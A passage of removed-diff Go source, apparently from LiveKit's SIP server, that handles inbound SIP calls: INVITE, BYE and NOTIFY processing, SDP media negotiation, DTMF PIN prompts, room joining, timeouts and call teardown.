s.newInboundCall(ctx, tid, log, cmon, cc, callInfo, state, start, nil) - cc.SetCall(call) - call.joinDur = joinDur - call.sigTs.InviteTime = start - call.sigTs.TryingTime = tryingTime - return call.handleInvite(call.ctx, tid, req, r.TrunkID, s.conf) -} - -func (s *Server) onOptions(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusOK, "OK", nil)) -} - -func (s *Server) onAck(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - tag, err := GetLocalTagUAS(req) - if err != nil { - return - } - s.cmu.RLock() - c := s.byLocalTag[tag] - s.cmu.RUnlock() - if c == nil { - return - } - c.log().Infow("ACK from remote") - c.cc.AcceptAck(req, tx) -} - -func (s *Server) onBye(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - tag, err := GetLocalTagUAS(req) - if err != nil { - _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusBadRequest, "", nil)) - return - } - - s.cmu.RLock() - c := s.byLocalTag[tag] - s.cmu.RUnlock() - if c != nil { - c.cc.AcceptBye(req, tx) - var ( - reason ReasonHeader - rawReason string - ) - if h := req.GetHeader("Reason"); h != nil { - rawReason = h.Value() - reason, err = ParseReasonHeader(rawReason) - if err != nil { - c.log().Warnw("cannot parse reason header", err, "reason-raw", rawReason) - } - } - c.log().Infow("BYE from remote", - "reason-type", reason.Type, - "reason-cause", reason.Cause, - "reason-text", reason.Text, - "reason-raw", rawReason, - ) - c.Bye(reason) - return - } - ok := false - if s.sipUnhandled != nil { - ok = s.sipUnhandled(req, tx) - } - if !ok { - s.log.Infow("BYE for non-existent call", "callID", tag) - _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusCallTransactionDoesNotExists, "Call does not exist", nil)) - } -} - -func (s *Server) OnNoRoute(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - callID := "" - if h := req.CallID(); h != nil { - callID = h.Value() - } - from := "" - if h := req.From(); h != nil { - from = h.Address.String() - } - to := "" - toTag := "" - if h := req.To(); h != nil { - to = h.Address.String() - toTag = h.Params.GetOr("tag", "") - } - s.log.Infow("Inbound SIP request not handled", - "method", req.Method.String(), - "sipCallID", callID, - "callID", toTag, - "from", from, - "to", to) - tx.Respond(sip.NewResponseFromRequest(req, 405, "Method Not Allowed", nil)) -} - -func (s *Server) onNotify(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - tag, err := GetLocalTagUAS(req) - if err != nil { - _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusBadRequest, "", nil)) - return - } - - s.cmu.RLock() - c := s.byLocalTag[tag] - s.cmu.RUnlock() - if c != nil { - c.log().Infow("NOTIFY") - err := c.cc.handleNotify(req, tx) - - code, msg := sipCodeAndMessageFromError(err) - - tx.Respond(sip.NewResponseFromRequest(req, code, msg, nil)) - - return - } - ok := false - if s.sipUnhandled != nil { - ok = s.sipUnhandled(req, tx) - } - if !ok { - s.log.Infow("NOTIFY for non-existent call") - _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusCallTransactionDoesNotExists, "Call does not exist", nil)) - } -} - -type inboundCall struct { - s *Server - tid traceid.ID - logPtr atomic.Pointer[logger.Logger] - cc *sipInbound - mon *stats.CallMonitor - state *CallState - callStart time.Time - extraAttrs map[string]string - attrsToHdr map[string]string - ctx context.Context - cancel func() - closeReason atomic.Pointer[ReasonHeader] - call *rpc.SIPCall - mmu sync.Mutex - media MediaPort - mediaCodecs *msdk.CodecSet - dtmf chan dtmf.Event // buffered - endCall chan EndCall // buffered - lkRoom RoomInterface // LiveKit room; only active after correct pin is entered - callDur func() time.Duration - joinDur func() time.Duration - done atomic.Bool - started core.Fuse - lateAnswerPending atomic.Bool // later offer generated, answer pending - stats Stats - sigTs SignalingTimestamps - jitterBuf bool - projectID string -} - -func (s *Server) newInboundCall( - ctx context.Context, - tid traceid.ID, - log logger.Logger, - mon *stats.CallMonitor, - cc *sipInbound, - call *rpc.SIPCall, - state *CallState, - callStart time.Time, - extra map[string]string, -) *inboundCall { - ctx = context.WithoutCancel(ctx) - // Map known headers immediately on join. The rest of the mapping will be available later. - extra = HeadersToAttrs(extra, nil, 0, cc, nil) - c := &inboundCall{ - s: s, - tid: tid, - callStart: callStart, - mon: mon, - cc: cc, - call: call, - state: state, - extraAttrs: extra, - dtmf: make(chan dtmf.Event, 10), - endCall: make(chan EndCall, 1), - jitterBuf: SelectValueBool(s.conf.EnableJitterBuffer, s.conf.EnableJitterBufferProb), - projectID: "", // Will be set in handleInvite when available - } - c.stats.Update() - c.setLog(log.WithValues("jitterBuf", c.jitterBuf)) - // we need it created earlier so that the audio mixer is available for pin prompts - c.lkRoom = s.getRoom(c.log(), &c.stats.Room) - c.ctx, c.cancel = context.WithCancel(ctx) - s.cmu.Lock() - s.byLocalTag[cc.ID()] = c - s.cmu.Unlock() - return c -} - -func (c *inboundCall) setLog(log logger.Logger) { - c.logPtr.Store(&log) -} - -func (c *inboundCall) log() logger.Logger { - ptr := c.logPtr.Load() - if ptr == nil { - return nil - } - return *ptr -} - -func (c *inboundCall) appendLogValues(kvs ...any) { - c.setLog(c.log().WithValues(kvs...)) -} - -func (c *inboundCall) mediaTimeout(ctx context.Context) error { - if c.cc == nil { - c.closeWithTimeout(ctx, true) - return psrpc.NewErrorf(psrpc.DeadlineExceeded, "media timeout") - } - if !c.cc.GotACK() { - c.log().Warnw("Media timeout after missing ACK", errNoACK) - c.closeWithNoACK(ctx) - return psrpc.NewError(psrpc.DeadlineExceeded, errNoACK) - } - c.closeWithTimeout(ctx, false) - return nil // logged as a warning in close -} - -func (c *inboundCall) handleInvite(ctx context.Context, tid traceid.ID, req *sip.Request, trunkID string, conf *config.Config) error { - ctx, span := Tracer.Start(ctx, "sip.inbound.handleInvite") - defer span.End() - c.mon.InviteAccept() - c.mon.CallStart() - defer c.mon.CallEnd() - defer c.closeWithTerm(ctx, stats.ServerError("other")) - - // Extract and store the SIP call ID from the request - if h := req.CallID(); h != nil { - c.call.SipCallId = h.Value() - } - - c.cc.StartRinging() - c.sigTs.RingingTime = time.Now() - // Send initial request. In the best case scenario, we will immediately get a room name to join. - // Otherwise, we could even learn that this number is not allowed and reject the call, or ask for pin if required. - tdisp := c.mon.StageDurTimer("eval-dispatch") - disp := c.s.handler.DispatchCall(ctx, &CallInfo{ - TrunkID: trunkID, - Call: c.call, - Pin: "", - NoPin: false, - }) - tdisp() - if disp.MediaConfig == nil { - disp.MediaConfig = &livekit.SIPMediaConfig{} - } - mconf, err := newMediaConfig(disp.MediaConfig, c.s.conf.MediaTimeout) - if err != nil { - c.log().Errorw("Cannot create media config", err) - c.cc.RespondAndDrop(sip.StatusInternalServerError, "") - c.closeWithTerm(ctx, stats.ServerError("media-config-error")) - return psrpc.NewError(psrpc.Internal, err) - } - if disp.ProjectID != "" { - c.appendLogValues("projectID", disp.ProjectID) - c.projectID = disp.ProjectID - } - if disp.TrunkID != "" { - c.appendLogValues("sipTrunk", disp.TrunkID) - } - if disp.DispatchRuleID != "" { - c.appendLogValues("sipRule", disp.DispatchRuleID) - } - - c.state.Update(func(info *livekit.SIPCallInfo) { - info.TrunkId = disp.TrunkID - info.DispatchRuleId = disp.DispatchRuleID - info.RoomName = disp.Room.RoomName - info.ParticipantIdentity = disp.Room.Participant.Identity - info.ParticipantAttributes = maps.Clone(disp.Room.Participant.Attributes) - info.MediaEncryption = disp.MediaConfig.GetEncryption().String() - info.EnabledFeatures = disp.EnabledFeatures - // Set callidfull in participant attributes for backwards compatibility - if c.call.SipCallId != "" { - if info.ParticipantAttributes == nil { - info.ParticipantAttributes = make(map[string]string) - } - info.ParticipantAttributes[AttrSIPCallIDFull] = c.call.SipCallId - } - }) - - var pinPrompt bool - switch disp.Result { - default: - err := fmt.Errorf("unexpected dispatch result: %v", disp.Result) - c.log().Errorw("Rejecting inbound call", err) - c.cc.RespondAndDrop(sip.StatusNotImplemented, "") - c.closeWithTerm(ctx, stats.ServerError("unexpected-result")) - return psrpc.NewError(psrpc.Unimplemented, err) - case DispatchNoRuleDrop: - c.log().Debugw("Rejecting inbound flood") - c.cc.Drop() - c.close(ctx, EndCall{ - Status: callFlood, - Term: stats.ClientError("flood"), - }) - return psrpc.NewErrorf(psrpc.PermissionDenied, "call was not authorized by trunk configuration") - case DispatchNoRuleReject: - c.log().Infow("Rejecting inbound call, doesn't match any Dispatch Rules") - c.cc.RespondAndDrop(sip.StatusNotFound, "Does not match Trunks or Dispatch Rules") - c.closeWithTerm(ctx, stats.ClientError("no-dispatch")) - return psrpc.NewErrorf(psrpc.NotFound, "no trunk configuration for call") - case DispatchServiceUnavailable: - c.log().Warnw("Rejecting inbound call, dispatch evaluation failed", nil) - c.cc.RespondAndDrop(sip.StatusServiceUnavailable, "Try again later") - c.closeWithTerm(ctx, stats.ServerError("dispatch-error")) - return psrpc.NewErrorf(psrpc.Unavailable, "dispatch rule evaluation unavailable") - case DispatchAccept: - pinPrompt = false - case DispatchRequestPin: - pinPrompt = true - } - - sdpOffer := req.Body() - log := c.log() - if h := req.ContentLength(); h != nil { - log = log.WithValues("contentLength", int(*h)) - } - if h := req.ContentType(); h != nil { - log = log.WithValues("contentType", h.Value()) - switch h.Value() { - default: - log.Infow("unsupported offer type") - case contentTypeSDP: - } - } else { - log.Infow("no offer type specified") - } - - rejectMedia := func(err error) error { - sipReason := sip.StatusInternalServerError - log := log.WithValues("sdp", string(sdpOffer)) - status, term := callDropped, stats.ServerError("media-failed") - if errors.Is(err, sdp.ErrNoCommonMedia) { - status, term = callMediaFailed, stats.ClientError("no-common-codec") - sipReason = sip.StatusBadRequest - } else if errors.Is(err, sdp.ErrNoCommonCrypto) { - status, term = callMediaFailed, stats.ClientError("no-common-crypto") - sipReason = sip.StatusBadRequest - } else if e := (SDPError{}); errors.As(err, &e) { - status, term = callMediaFailed, stats.ClientError("sdp-error") - sipReason = sip.StatusBadRequest - } - if sipReason >= 500 { - log.Errorw("Cannot start media", err) - } else { - log.Warnw("Cannot start media", err) - } - c.cc.RespondAndDrop(sipReason, "") - c.close(ctx, EndCall{ - Status: status, - Term: term, - }) - return err - } - - // If we do not wait for ACK during Accept, we could wait for it later. - // Otherwise, leave channels nil, so that they never trigger. - var ( - ackReceived <-chan struct{} - ackTimeout <-chan time.Time - ) - - if err := c.createMediaPort(mconf, conf, disp.FeatureFlags); err != nil { - return rejectMedia(err) - } - - var sdpBody []byte // To be sent with 200 OK - var expectingLateAnswer bool - if len(sdpOffer) == 0 { - if !featureFlagEnabled(disp.FeatureFlags, lateOfferFeatureFlag) { - err := SDPError{Err: fmt.Errorf("received INVITE without offer, late offer disabled")} - return rejectMedia(err) - } - log.Infow("later offer enabled") - expectingLateAnswer = true - c.lateAnswerPending.Store(true) - sdpBody, err = c.media.GenerateOffer() - if err != nil { - return rejectMedia(err) - } - c.mon.SDPSize(len(sdpBody), true, false) - } else { - c.mon.SDPSize(len(sdpOffer), true, true) - sdpBody, err = c.negotiateMedia(sdpOffer) - if err != nil { - return rejectMedia(err) - } - c.mon.SDPSize(len(sdpBody), false, false) - } - - ok := false - if pinPrompt { - c.connectPinDTMF() - if ok, ackTimeout, err = c.acceptCallAndWaitForMedia(ctx, disp, sdpBody, mconf.MediaTimeout, expectingLateAnswer); !ok { - return err // could be success if the caller hung up - } - disp, ok, err = c.pinPrompt(ctx, trunkID) - if !ok { - return err // already sent a response. Could be success if user hung up - } - } - - p := &disp.Room.Participant - p.Attributes = HeadersToAttrs(p.Attributes, disp.HeadersToAttributes, disp.IncludeHeaders, c.cc, nil) - if disp.MaxCallDuration <= 0 || disp.MaxCallDuration > maxCallDuration { - disp.MaxCallDuration = maxCallDuration - } - if disp.RingingTimeout <= 0 { - disp.RingingTimeout = defaultRingingTimeout - } - disp.Room.JitterBuf = c.jitterBuf - disp.Room.LogSignalChanges, _ = strconv.ParseBool(disp.FeatureFlags[signalLoggingFeatureFlag]) - ctx, cancel := context.WithTimeout(ctx, disp.MaxCallDuration) - defer cancel() - status := CallRinging - if pinPrompt { - status = CallActive - } - - if err := c.joinRoom(ctx, disp.Room, status); err != nil { - return fmt.Errorf("failed joining room: %w", err) - } - // Publish our own track. - if err := c.publishTrack(disp.EnabledFeatures, disp.FeatureFlags); err != nil { - c.log().Errorw("Cannot publish track", err) - c.closeWithTerm(ctx, stats.ServerError("publish-failed")) - return fmt.Errorf("publishing track to room failed: %w", err) - } - tsub := c.mon.StageDurTimer("track-subscribe") - c.lkRoom.Subscribe() - tsub() - if !pinPrompt { - c.log().Infow("Waiting for track subscription(s)") - // For dispatches without pin, we first wait for LK participant to become available, - // and also for at least one track subscription. In the meantime we keep ringing. - if ok, err := c.waitSubscribe(ctx, disp.RingingTimeout); !ok { - return err // already sent a response. Could be success if caller hung up - } - if ok, ackTimeout, err = c.acceptCallAndWaitForMedia(ctx, disp, sdpBody, mconf.MediaTimeout, expectingLateAnswer); !ok { - return err // already sent a response. Could be success if caller hung up - } - } - - c.state.Update(func(info *livekit.SIPCallInfo) { - info.StartedAtNs = time.Now().UnixNano() - info.CallStatus = livekit.SIPCallStatus_SCS_ACTIVE - if r := c.lkRoom.Room(); r != nil { - info.RoomId = r.SID() - info.RoomName = r.Name() - info.ParticipantAttributes = r.LocalParticipant.Attributes() // clones - } - }) - - c.started.Break() - - if !expectingLateAnswer && !conf.Experimental.InboundWaitACK { - ackReceived = c.cc.InviteACK() - } - - return c.waitForCallEnd(ctx, ackReceived, ackTimeout, mconf.MediaTimeout) -} - -func (c *inboundCall) acceptCall(ctx context.Context, disp CallDispatch, sdpData []byte, waitForAck bool) error { - headers := disp.Headers - c.attrsToHdr = disp.AttributesToHeaders - if r := c.lkRoom.Room(); r != nil { - headers = AttrsToHeaders(r.LocalParticipant.Attributes(), c.attrsToHdr, headers) - } - c.log().Infow("Accepting the call", "headers", headers) - taccept := c.mon.StageDurTimer("sip-accept") - err := c.cc.Accept(ctx, sdpData, headers, waitForAck) - taccept() - c.sigTs.AcceptTime = time.Now() - if errors.Is(err, errNoACK) { - c.log().Errorw("Call accepted, but no ACK received", err) - c.closeWithNoACK(ctx) - return err - } else if err != nil { - c.log().Errorw("Cannot accept the call", err) - c.close(ctx, EndCall{ - Status: callAcceptFailed, - Term: stats.ServerError("accept-failed"), - }) - return err - } - return nil -} - -func (c *inboundCall) waitForMedia(ctx context.Context, mediaTimeout time.Duration) (bool, error) { - c.media.SetTimeout(c.s.conf.MediaTimeoutInitial, mediaTimeout) // Only enable media timeout once we send back SDP. - // Attach room outputs - if old := c.lkRoom.WriteOutboundAudioTo(c.media.GetOutboundAudioWriter()); old != nil { - c.log().Warnw("room has unexpected outbound audio writer", nil) - old.Close() - } - if old := c.lkRoom.WriteOutboundDTMFTo(c.media.GetOutboundDTMFWriter()); old != nil { - c.log().Warnw("room has unexpected outbound audio DTMF writer", nil) - old.Close() - } - if ok, err := c.waitMedia(ctx); !ok { - return false, err - } - c.setStatus(CallActive) - return true, nil -} - -func (c *inboundCall) acceptCallAndWaitForMedia(ctx context.Context, disp CallDispatch, sdpResponseBody []byte, mediaTimeout time.Duration, expectingLateAnswer bool) (bool, <-chan time.Time, error) { - defer c.mon.StageDurTimer("call-accept")() - waitForAck := expectingLateAnswer || c.s.conf.Experimental.InboundWaitACK - if err := c.acceptCall(ctx, disp, sdpResponseBody, waitForAck); err != nil { - return false, nil, err - } - var ackTimeout <-chan time.Time - if !waitForAck { - // Start this timer right after the Accept. - ackTimeout = time.After(inviteOkAckLateTimeout) - } - - if expectingLateAnswer { - ack := c.cc.Ack() - if ack == nil { - c.log().Errorw("ack not found", nil) - return false, nil, fmt.Errorf("ack not found") - } - - // The offer should now be here. - sdp := ack.Body() - if h := ack.ContentType(); h != nil { - if h.Value() != contentTypeSDP { - c.log().Infow("unsupported content type", "contentType", h.Value()) - } - } - c.mon.SDPSize(len(sdp), false, true) - if err := c.negotiateMediaForLateAnswer(sdp); err != nil { - return false, nil, err - } - } - - ok, err := c.waitForMedia(ctx, mediaTimeout) - return ok, ackTimeout, err -} - -func (c *inboundCall) waitForCallEnd(ctx context.Context, ackReceived <-chan struct{}, ackTimeout <-chan time.Time, mediaTimeout time.Duration) error { - ctx, span := Tracer.Start(ctx, "sip.inbound.waitForCallEnd") - defer span.End() - // Wait for the caller to terminate the call. Send regular keep alives. - ticker := time.NewTicker(stateUpdateTick) - defer ticker.Stop() - - statsTicker := time.NewTicker(statsInterval) - defer statsTicker.Stop() - for { - select { - case <-statsTicker.C: - c.stats.Update() - c.printStats(c.log()) - case <-ticker.C: - c.log().Debugw("sending keep-alive") - c.state.ForceFlush() - case <-ctx.Done(): - c.closeWithHangup(ctx) - return nil - case end := <-c.endCall: - c.close(ctx, end) - return nil - case <-c.lkRoom.Closed(): - roomReason := c.lkRoom.ClosedReason() - c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { - info.DisconnectReason = disconnectReasonFromRoomClose(roomReason) - }) - c.closeWithTerm(ctx, terminationFromRoomDisconnect(roomReason)) - return nil - case <-c.media.MediaTimeout(): - return c.mediaTimeout(ctx) - case <-ackReceived: - ackTimeout = nil // all good, disable timeout - ackReceived = nil - case <-ackTimeout: - // Only warn, the other side still thinks the call is active, media may be flowing. - c.log().Warnw("Call accepted, but no ACK received", errNoACK) - - // Today we seek to enforce all calls to be ACKed or dropped. - // Sometimes, though, we do not see ACKs for invites (e.g due to possible - // issues with load balancing). - // To accommodate this issue, instead of ending the call right here, we instead - // set an aggressive timeout as a softer fallback. - // If the issue really is a dropped ACK, media is expected to flow shortly, - // allowing us to accommodate this eventuality. If, however, there is no media - // observed, the call still ends quickly. - // Once ACKs are certain to be reliable, we will end the call here. - c.media.SetTimeout(min(inviteOkAckLateTimeout, c.s.conf.MediaTimeoutInitial), mediaTimeout) - } - } -} - -type pinDTMFWriter struct { - dtmfEvents chan<- dtmf.Event -} - -func (w *pinDTMFWriter) String() string { - return "pinDTMFWriter" -} - -func (w *pinDTMFWriter) SampleRate() int { - return dtmf.SampleRate -} - -func (w *pinDTMFWriter) Close() error { - return nil -} - -func (w *pinDTMFWriter) WriteSample(sample string) error { - if len(sample) != 1 { - return fmt.Errorf("invalid DTMF sample length %d: %v", len(sample), sample) - } - code, tones := dtmf.Tone(byte(sample[0])) - if len(tones) == 0 { - return fmt.Errorf("invalid DTMF sample %v", sample) - } - ev := dtmf.Event{ - Code: byte(code), - Digit: sample[0], - } - // We should have enough buffer here. - select { - case w.dtmfEvents <- ev: - default: - } - return nil -} - -func (c *inboundCall) createMediaPort(mconf *sipMediaConfig, conf *config.Config, featureFlags map[string]string) error { - c.mmu.Lock() - defer c.mmu.Unlock() - if c.media != nil { - return nil - } - - logSignalChanges, _ := strconv.ParseBool(featureFlags[signalLoggingFeatureFlag]) - mp, err := NewMediaPort(c.log(), c.mon, &MediaOptions{ - IP: c.s.sconf.MediaIP, - Ports: conf.RTPPort, - MediaTimeoutInitial: c.s.conf.MediaTimeoutInitial, - MediaTimeout: mconf.MediaTimeout, - SymmetricRTP: conf.SymmetricRTP, - IgnoreLocalAddrInSDP: c.s.conf.IgnoreLocalAddrInSDP, - EnableJitterBuffer: c.jitterBuf, - LogSignalChanges: logSignalChanges, - Stats: &c.stats.Port, - DrainingIdleTimeout: conf.RTPDrainingIdleTimeout, - DrainingDuration: conf.RTPDrainingDuration, - Codecs: mconf.Codecs, - Encryption: mconf.Encryption, - DTMFAudio: conf.AudioDTMF, - }, RoomSampleRate) - if err != nil { - return err - } - c.media = mp - c.mediaCodecs = mconf.Codecs - - // Do not attach room outputs yet, we dont necessarily want it plumbed yet - - return nil -} - -func (c *inboundCall) connectPinDTMF() { - if old := c.media.WriteInboundDTMFTo(&pinDTMFWriter{c.dtmf}); old != nil { - c.log().Warnw("media port has unexpected inbound DTMF writer", nil) - old.Close() - } -} - -// REQUIRES: c.mmu is held. -func (c *inboundCall) updateCallStateAudioLocked() error { - audio := c.media.NegotiatedAudio() - if audio == nil { - return fmt.Errorf("media does not have negotiated audio") - } - c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { - info.AudioCodec = audio.Codec.Info().SDPName - }) - return nil -} - -func (c *inboundCall) negotiateMedia(sdpOffer []byte) ([]byte, error) { - c.mmu.Lock() - defer c.mmu.Unlock() - if c.media == nil { - return nil, errors.New("media port not created") - } - if c.media.NegotiatedAudio() != nil { - return c.media.GetLocalSDP() - } - defer c.mon.StageDurTimer("start-media")() - - c.log().Debugw("SDP offer", "sdp", string(sdpOffer)) - - answerData, err := c.media.GenerateAnswer(sdpOffer) - if err != nil { - return nil, err - } - c.log().Debugw("SDP answer", "sdp", string(answerData)) - - if err = c.updateCallStateAudioLocked(); err != nil { - return nil, err - } - return answerData, nil -} - -func (c *inboundCall) negotiateMediaForLateAnswer(answerData []byte) error { - c.mmu.Lock() - defer c.mmu.Unlock() - defer c.lateAnswerPending.Store(false) - - if c.media == nil { - return errors.New("media port not created") - } - if c.media.NegotiatedAudio() != nil { - return nil - } - defer c.mon.StageDurTimer("process-late-answer")() - - c.log().Debugw("Late SDP answer", "sdp", string(answerData)) - if err := c.media.ProcessAnswer(answerData); err != nil { - return err - } - localSDP, err := c.media.GetLocalSDP() - if err != nil { - return err - } - c.cc.SetOwnSDP(localSDP) - - return c.updateCallStateAudioLocked() -} - -func (c *inboundCall) waitMedia(ctx context.Context) (bool, error) { - defer c.mon.StageDurTimer("wait-media")() - ctx, span := Tracer.Start(ctx, "sip.inbound.waitMedia") - defer span.End() - // Wait for either a first RTP packet or a predefined delay. - // - // If the delay kicks in earlier than the caller is ready, they might miss some audio packets. - // - // On the other hand, if we always wait for RTP, it might be harder to diagnose firewall/routing issues. - // In that case both sides will hear nothing, instead of only one side having issues. - // - // Thus, we wait at most a fixed amount of time before bridging audio. - - delay := time.NewTimer(audioBridgeMaxDelay) - defer delay.Stop() - select { - case <-c.cc.Cancelled(): - c.closeWithCancelled(ctx) - return false, nil // caller hung up - case <-ctx.Done(): - c.closeWithHangup(ctx) - return false, nil // caller hung up - case <-c.lkRoom.Closed(): - c.closeWithHangup(ctx) - return false, psrpc.NewErrorf(psrpc.Canceled, "room closed") - case <-c.media.MediaTimeout(): - return false, c.mediaTimeout(ctx) - case end := <-c.endCall: - c.close(ctx, end) - return false, nil - case <-c.media.Received(): - case <-delay.C: - } - return true, nil -} - -func (c *inboundCall) waitSubscribe(ctx context.Context, timeout time.Duration) (bool, error) { - ctx, span := Tracer.Start(ctx, "sip.inbound.waitSubscribe") - defer span.End() - defer c.mon.StageDurTimer("wait-subscribe")() - timer := time.NewTimer(timeout) - defer timer.Stop() - select { - case <-c.cc.Cancelled(): - c.closeWithCancelled(ctx) - return false, nil - case <-ctx.Done(): - c.closeWithHangup(ctx) - return false, nil - case <-c.lkRoom.Closed(): - c.closeWithHangup(ctx) - return false, psrpc.NewErrorf(psrpc.Canceled, "room closed") - case <-c.media.MediaTimeout(): - return false, c.mediaTimeout(ctx) - case end := <-c.endCall: - c.close(ctx, end) - return false, psrpc.NewErrorf(psrpc.Canceled, "rpc terminated the call") - case <-timer.C: - c.closeWithTerm(ctx, stats.ServerError("cannot-subscribe")) - return false, psrpc.NewErrorf(psrpc.DeadlineExceeded, "room subscription timed out") - case <-c.lkRoom.Subscribed(): - return true, nil - } -} - -func (c *inboundCall) pinPrompt(ctx context.Context, trunkID string) (disp CallDispatch, _ bool, _ error) { - ctx, span := Tracer.Start(ctx, "sip.inbound.pinPrompt") - defer span.End() - c.log().Infow("Requesting Pin for SIP call") - const pinLimit = 16 - c.playAudio(ctx, c.s.res.enterPin) - pin := "" - noPin := false - for { - select { - case <-c.cc.Cancelled(): - c.closeWithCancelled(ctx) - return disp, false, nil - case <-ctx.Done(): - c.closeWithHangup(ctx) - return disp, false, nil - case <-c.media.MediaTimeout(): - return disp, false, c.mediaTimeout(ctx) - case b, ok := <-c.dtmf: - if !ok { - c.Close() - return disp, false, psrpc.NewErrorf(psrpc.Canceled, "failed reading DTMF event") - } - if b.Digit == 0 { - continue // unrecognized - } - if b.Digit == '#' { - // End of the pin - noPin = pin == "" - - c.log().Infow("Checking Pin for SIP call", "pin", pin, "noPin", noPin) - disp = c.s.handler.DispatchCall(ctx, &CallInfo{ - TrunkID: trunkID, - Call: c.call, - Pin: pin, - NoPin: noPin, - }) - if disp.ProjectID != "" { - c.appendLogValues("projectID", disp.ProjectID) - c.projectID = disp.ProjectID - } - if disp.TrunkID != "" { - c.appendLogValues("sipTrunk", disp.TrunkID) - } - if disp.DispatchRuleID != "" { - c.appendLogValues("sipRule", disp.DispatchRuleID) - } - if disp.Result == DispatchServiceUnavailable { - c.log().Warnw("Rejecting call, dispatch evaluation failed", nil, "pin", pin, "noPin", noPin) - c.closeWithTerm(ctx, stats.ServerError("dispatch-error")) - return disp, false, psrpc.NewErrorf(psrpc.Unavailable, "dispatch rule evaluation unavailable") - } - if disp.Result != DispatchAccept || disp.Room.RoomName == "" { - c.log().Infow("Rejecting call", "pin", pin, "noPin", noPin) - c.playAudio(ctx, c.s.res.wrongPin) - c.closeWithTerm(ctx, stats.ClientError("wrong-pin")) - return disp, false, psrpc.NewErrorf(psrpc.PermissionDenied, "wrong pin") - } - c.playAudio(ctx, c.s.res.roomJoin) - return disp, true, nil - } - // Gather pin numbers - pin += string(b.Digit) - if len(pin) > pinLimit { - c.playAudio(ctx, c.s.res.wrongPin) - c.close(ctx, EndCall{ - Status: callDropped, - Term: stats.ClientError("wrong-pin"), - }) - return disp, false, psrpc.NewErrorf(psrpc.PermissionDenied, "wrong pin") - } - } - } -} - -func (c *inboundCall) printStats(log logger.Logger) { - c.stats.Log(log, c.callStart) -} - -func (c *inboundCall) closeWithTerm(ctx context.Context, t stats.Termination) { - c.close(ctx, EndCall{ - Status: callDropped, - Term: t, - }) -} - -func (c *inboundCall) EndCall(ctx context.Context, headers map[string]string) error { - select { - case <-ctx.Done(): - return ctx.Err() - case c.endCall <- EndCall{ - Status: CallHangup, - Term: stats.Success("rpc"), - Headers: headers, - }: - } - return nil -} - -// close should only be called from handleInvite. -func (c *inboundCall) close(ctx context.Context, end EndCall) { - termCtx, cancel := context.WithCancel(context.WithoutCancel(ctx)) // Do not use ctx cancellation - defer cancel() - go func() { - select { - case <-termCtx.Done(): - return - case <-time.After(5 * time.Minute): - c.mon.CallTerminationFailure() - c.log().Errorw("call failed to terminate after 5 minutes", nil) // To be able to get call IDs - } - }() - - ctx = context.WithoutCancel(ctx) - if !c.done.CompareAndSwap(false, true) { - return - } - defer c.mon.StageDurTimer("close")() - c.stats.Closed.Store(true) - result := Result{ - Code: sip.StatusBusyHere, - Status: "Rejected", - } - switch end.Status { - case callMediaFailed: - result = Result{ - Code: sip.StatusNotAcceptableHere, - Status: "Media Failed", - } - case CallCancelled: - result = Result{ - Code: sip.StatusRequestTerminated, - Status: "Request Terminated", - } - } - log := c.log().WithValues("status", result.Code, "result", string(end.Term.Result), "reason", end.Term.Reason) - defer func() { - c.stats.Update() - c.printStats(log) - c.sigTs.Log(log) - }() - c.setStatus(end.Status) - c.mon.CallTerminate(end.Term) - isWarn := end.Term.Result == stats.ResultServerError || end.Status == callHangupMedia - if isWarn { - log.Warnw("Closing inbound call with error", nil) - } else { - log.Infow("Closing inbound call") - } - if end.Status != callFlood { - defer log.Infow("Inbound call closed") - } - - // Send BYE _before_ closing media/room connection. - // This ensures participant attributes are still available for - // attributes_to_headers mapping in the setHeaders callback. - // See: https://github.com/livekit/sip/issues/404 - c.cc.CloseWithStatus(ctx, result, end.Headers) - c.closeMedia() - if callDurFn := c.callDur; callDurFn != nil { - callDurFn() - } - c.s.cmu.Lock() - delete(c.s.byLocalTag, c.cc.ID()) - c.s.cmu.Unlock() - - c.s.DeregisterTransferSIPParticipant(c.cc.ID()) - - // Call the handler asynchronously to avoid blocking - if c.s.handler != nil { - state := c.state - go func(tid traceid.ID) { - ctx := context.WithoutCancel(ctx) - ctx, span := Tracer.Start(ctx, "sip.inbound.OnSessionEnd") - defer span.End() - c.s.handler.OnSessionEnd(ctx, &CallIdentifier{ - ProjectID: c.projectID, - CallID: c.call.LkCallId, - SipCallID: c.call.SipCallId, - }, state, end.Term.Reason) - }(c.tid) - } - - c.cancel() -} - -func (c *inboundCall) closeWithTimeout(ctx context.Context, isError bool) { - status := callDropped - if !isError { - status = callHangupMedia - // Surface the media-timeout banner on the dashboard while keeping the - // call status as a clean disconnect — post-ACK media timeout usually - // means BYE was lost, not that the call itself failed. Mirror the - // outbound info.Error format byte-for-byte so the same dashboard - // trigger fires for both inbound and outbound. - c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { - if info.Error == "" { - info.Error = psrpc.NewErrorf(psrpc.DeadlineExceeded, "media-timeout").Error() - } - }) - } - c.close(ctx, EndCall{ - Status: status, - Term: stats.Indeterminate("media-timeout"), - }) -} - -func (c *inboundCall) closeWithNoACK(ctx context.Context) { - c.close(ctx, EndCall{ - Status: callNoACK, - Term: stats.Indeterminate("no-ack"), - }) -} - -func (c *inboundCall) closeWithCancelled(ctx context.Context) { - var reason ReasonHeader - if p := c.closeReason.Load(); p != nil { - reason = *p - } - c.closeWith(ctx, CallCancelled, stats.Success("cancelled"), reason) -} - -func (c *inboundCall) closeWithHangup(ctx context.Context) { - var reason ReasonHeader - if p := c.closeReason.Load(); p != nil { - reason = *p - } - c.closeWith(ctx, CallHangup, stats.Success("hangup"), reason) -} - -func (c *inboundCall) closeWith(ctx context.Context, status CallStatus, t stats.Termination, reason ReasonHeader) { - ctx = context.WithoutCancel(ctx) - c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { - info.DisconnectReason = livekit.DisconnectReason_CLIENT_INITIATED - if info.Error == "" { - if !reason.IsNormal() { 